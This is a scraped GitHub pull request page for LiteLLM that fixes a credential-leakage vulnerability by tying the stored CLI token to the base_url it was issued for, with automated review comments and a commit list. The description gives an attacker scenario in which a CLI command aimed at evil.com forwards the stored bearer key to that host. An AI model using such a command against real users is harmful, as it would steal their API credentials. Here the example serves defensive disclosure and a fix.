fix: scope CLI stored token to base_url to prevent cross-domain credential leakage by ishaan-berri · Pull Request #26945 · BerriAI/litellm

ishaan-berri · 2026-05-01T00:24:47Z

Relevant issues

Security CVE — cross-domain credential leakage in the LiteLLM CLI and SDK client.

Pre-Submission checklist

I have Added testing in the tests/test_litellm/ directory, Adding at least 1 test is a hard requirement - see details
My PR passes all unit tests on make test-unit
My PR's scope is as isolated as possible, it only solves 1 specific problem
I have requested a Greptile review by commenting @greptileai and received a Confidence Score of at least 4/5 before requesting a maintainer review

Type

🐛 Bug Fix (Security)

Changes

Problem: The CLI stored the API key globally in ~/.litellm/token.json without recording which server it was issued for. Any subsequent CLI invocation — even one pointed at a malicious server — would pick up the stored key and forward it via Authorization: Bearer to the attacker.

Fix: Three targeted changes, 5 files:

cli_token_utils.py — get_litellm_gateway_api_key() now accepts expected_base_url. When provided, it only returns the stored key if it was issued for that URL (checked against the new base_url field in the token file).
auth.py — get_stored_api_key() gains the same expected_base_url parameter and delegates down. The login command now persists base_url in token.json so future calls can verify origin.
main.py — CLI entrypoint passes base_url when loading the stored key.
client.py — ProxyClient was also vulnerable (called unscoped get_litellm_gateway_api_key()). Now passes expected_base_url=self._base_url.
test_auth_commands.py — 4 new test cases: URL match, trailing-slash normalisation, URL mismatch, old token without base_url field.

Before (attacker scenario):

# Dev previously logged in to their real proxy
$ litellm-proxy login  # stores sk-prod in ~/.litellm/token.json

# Attacker tricks dev into querying a malicious server
$ litellm-proxy --base-url http://evil.com models list
# → Authorization: Bearer sk-prod sent to evil.com

After: the stored key is only returned when base_url matches the stored origin. Request to evil.com gets no key.

ishaan-berri · 2026-05-01T00:24:52Z

@greptileai

CLAassistant · 2026-05-01T00:24:54Z

Thank you for your submission! We really appreciate it. Like many open source projects, we ask that you sign our Contributor License Agreement before we can accept your contribution.
_{You have signed the CLA already but the status is still pending? Let us recheck it.}

greptile-apps · 2026-05-01T00:28:29Z

Greptile Summary

This PR fixes a credential-leakage CVE by binding stored CLI tokens to the server URL they were issued for. The three-layer fix (token file, CLI entrypoint, SDK Client) is coherent and well-tested. A secondary bug in client.py — self.http being initialized with the raw None api_key parameter instead of the resolved self._api_key — is also corrected here.

Confidence Score: 4/5

Safe to merge; known edge cases (stored_url not normalized on read, case-sensitive host comparison) are flagged in prior review threads but do not break the core security invariant for the common case

Score capped at 4 due to open P1s already noted in previous review threads (stored_url read without rstrip, RFC 3986 case-insensitive host comparison). No new P0/P1 issues found in this pass. The self.http P1 from the prior outside-diff comment is now resolved.

litellm/litellm_core_utils/cli_token_utils.py — the URL comparison logic has the already-flagged normalization gaps

Important Files Changed

Filename	Overview
litellm/litellm_core_utils/cli_token_utils.py	Adds optional `expected_base_url` parameter to gate key retrieval on origin match; stored_url is compared without normalization (trailing-slash and case issues noted in prior thread)
litellm/proxy/client/cli/commands/auth.py	Login now persists `base_url` in token.json; `get_stored_api_key` delegates the new `expected_base_url` parameter correctly
litellm/proxy/client/cli/main.py	CLI entrypoint now passes `base_url` when loading stored key, preventing cross-domain credential use
litellm/proxy/client/client.py	Two bugs fixed: priority flipped so explicit `api_key` takes precedence over stored key, and `self.http` is now initialized with the resolved `self._api_key` instead of the raw `None` parameter
tests/test_litellm/proxy/client/cli/test_auth_commands.py	Four new mock-only test cases cover URL match, trailing-slash normalisation, URL mismatch, and legacy tokens; existing tests unchanged

_{Reviews (2): Last reviewed commit: "fix: initialize self.http with resolved ..." | Re-trigger Greptile}

greptile-apps · 2026-05-01T00:28:32Z

+    if expected_base_url is not None:
+        stored_url = token_data.get("base_url")
+        if stored_url != expected_base_url.rstrip("/"):
+            return None


stored_url is not normalized before comparison

expected_base_url is rstripped but stored_url is taken verbatim from the file. New tokens are saved with rstrip("/") in auth.py, but if a token was written by any other code path (or manually edited) with a trailing slash, the comparison will silently reject a legitimate match. Normalizing both sides is safer:

if stored_url is None or stored_url.rstrip("/") != expected_base_url.rstrip("/"): return None

greptile-apps · 2026-05-01T00:28:33Z

+    if expected_base_url is not None:
+        stored_url = token_data.get("base_url")
+        if stored_url != expected_base_url.rstrip("/"):
+            return None


URL comparison is case-sensitive; RFC 3986 requires case-insensitive host/scheme matching

The comparison is a raw string equality check. A stored URL with a different-cased host (e.g. https://Proxy.internal.com vs https://proxy.internal.com) will fail to match even though they refer to the same server. Lowercasing before comparison prevents this false negative.

greptile-apps · 2026-05-01T00:28:34Z

    if api_key is None:
-        api_key = get_stored_api_key()
+        api_key = get_stored_api_key(expected_base_url=base_url)


Silent token rejection gives users no hint to re-login

When the stored token has no base_url (old format) or the URL doesn't match, get_stored_api_key returns None and the CLI proceeds unauthenticated. Users will see generic authorization errors from the server with no indication they need to run litellm-proxy login again. Emitting a warning when a stored token exists but was rejected would significantly improve the UX for users migrating from older token formats.

Two security-shaped PRs in litellm: - BerriAI/litellm#26945: merge-as-is, scope stored CLI key to base_url via expected_base_url kwarg in get_litellm_gateway_api_key, with symmetric rstrip normalization at write+read and fail-closed for legacy tokens missing base_url; 4-test contract pin - BerriAI/litellm#26924: merge-as-is, total deletion of urlToken handler at LoginPage.tsx:69-80 closing session-fixation; 2 regression tests pin anti-behavior including silent-overwrite arm

ishaan-berri · 2026-05-01T17:33:36Z

@greptileai

… litellm_fix-cli-cve-clean

…ntial leakage (BerriAI#26945) * fix: add expected_base_url origin check to get_litellm_gateway_api_key * fix: scope get_stored_api_key and save base_url on login * fix: pass base_url to get_stored_api_key in CLI entrypoint * fix: scope ProxyClient stored key to base_url * test: add expected_base_url coverage for get_stored_api_key * fix: initialize self.http with resolved api_key not raw param * fix: black formatting in client.py and test_auth_commands.py

ishaan-berri added 5 commits April 30, 2026 17:24

fix: add expected_base_url origin check to get_litellm_gateway_api_key

015de66

fix: scope get_stored_api_key and save base_url on login

bd9d4eb

fix: pass base_url to get_stored_api_key in CLI entrypoint

49d2c0b

fix: scope ProxyClient stored key to base_url

c3c7f26

test: add expected_base_url coverage for get_stored_api_key

29f2ce9

greptile-apps Bot reviewed May 1, 2026

View reviewed changes

fix: initialize self.http with resolved api_key not raw param

1959abc

ishaan-berri added 2 commits May 1, 2026 11:19

fix: black formatting in client.py and test_auth_commands.py

5a51c58

Merge remote-tracking branch 'upstream/litellm_internal_staging' into…

b6153c5

… litellm_fix-cli-cve-clean

yuneng-berri approved these changes May 1, 2026

View reviewed changes

ishaan-berri merged commit 231c430 into litellm_internal_staging May 1, 2026
113 of 114 checks passed

ishaan-berri deleted the litellm_fix-cli-cve-clean branch May 1, 2026 19:11

ErRickow mentioned this pull request May 6, 2026

feat/neosantara neosantara-xyz/litellm#1

Open

Navigation Menu

Uh oh!

Uh oh!

fix: scope CLI stored token to base_url to prevent cross-domain credential leakage - #26945

fix: scope CLI stored token to base_url to prevent cross-domain credential leakage#26945
ishaan-berri merged 8 commits into
litellm_internal_stagingfrom
litellm_fix-cli-cve-clean

ishaan-berri commented May 1, 2026

Uh oh!

ishaan-berri commented May 1, 2026

Uh oh!

CLAassistant commented May 1, 2026

Uh oh!

greptile-apps Bot commented May 1, 2026 •

edited

Loading

Important Files Changed

Uh oh!

greptile-apps Bot May 1, 2026

Uh oh!

greptile-apps Bot May 1, 2026

Uh oh!

greptile-apps Bot May 1, 2026

Uh oh!

ishaan-berri commented May 1, 2026

Uh oh!

Uh oh!

Reviewers

Assignees

Labels

Projects

Milestone

Development

Uh oh!

3 participants

Uh oh!

Uh oh!

Conversation

ishaan-berri commented May 1, 2026

Relevant issues

Pre-Submission checklist

Type

Changes

Uh oh!

ishaan-berri commented May 1, 2026

Uh oh!

CLAassistant commented May 1, 2026

Uh oh!

greptile-apps Bot commented May 1, 2026 • edited Loading Uh oh! There was an error while loading. Please reload this page.

Uh oh!

Greptile Summary

Confidence Score: 4/5

Important Files Changed

Uh oh!

greptile-apps Bot May 1, 2026

Choose a reason for hiding this comment

Uh oh!

greptile-apps Bot May 1, 2026

Choose a reason for hiding this comment

Uh oh!

greptile-apps Bot May 1, 2026

Choose a reason for hiding this comment

Uh oh!

ishaan-berri commented May 1, 2026

Uh oh!

Uh oh!

Reviewers

Assignees

Labels

Projects

Milestone

Development

Uh oh!

3 participants

greptile-apps Bot commented May 1, 2026 •

edited

Loading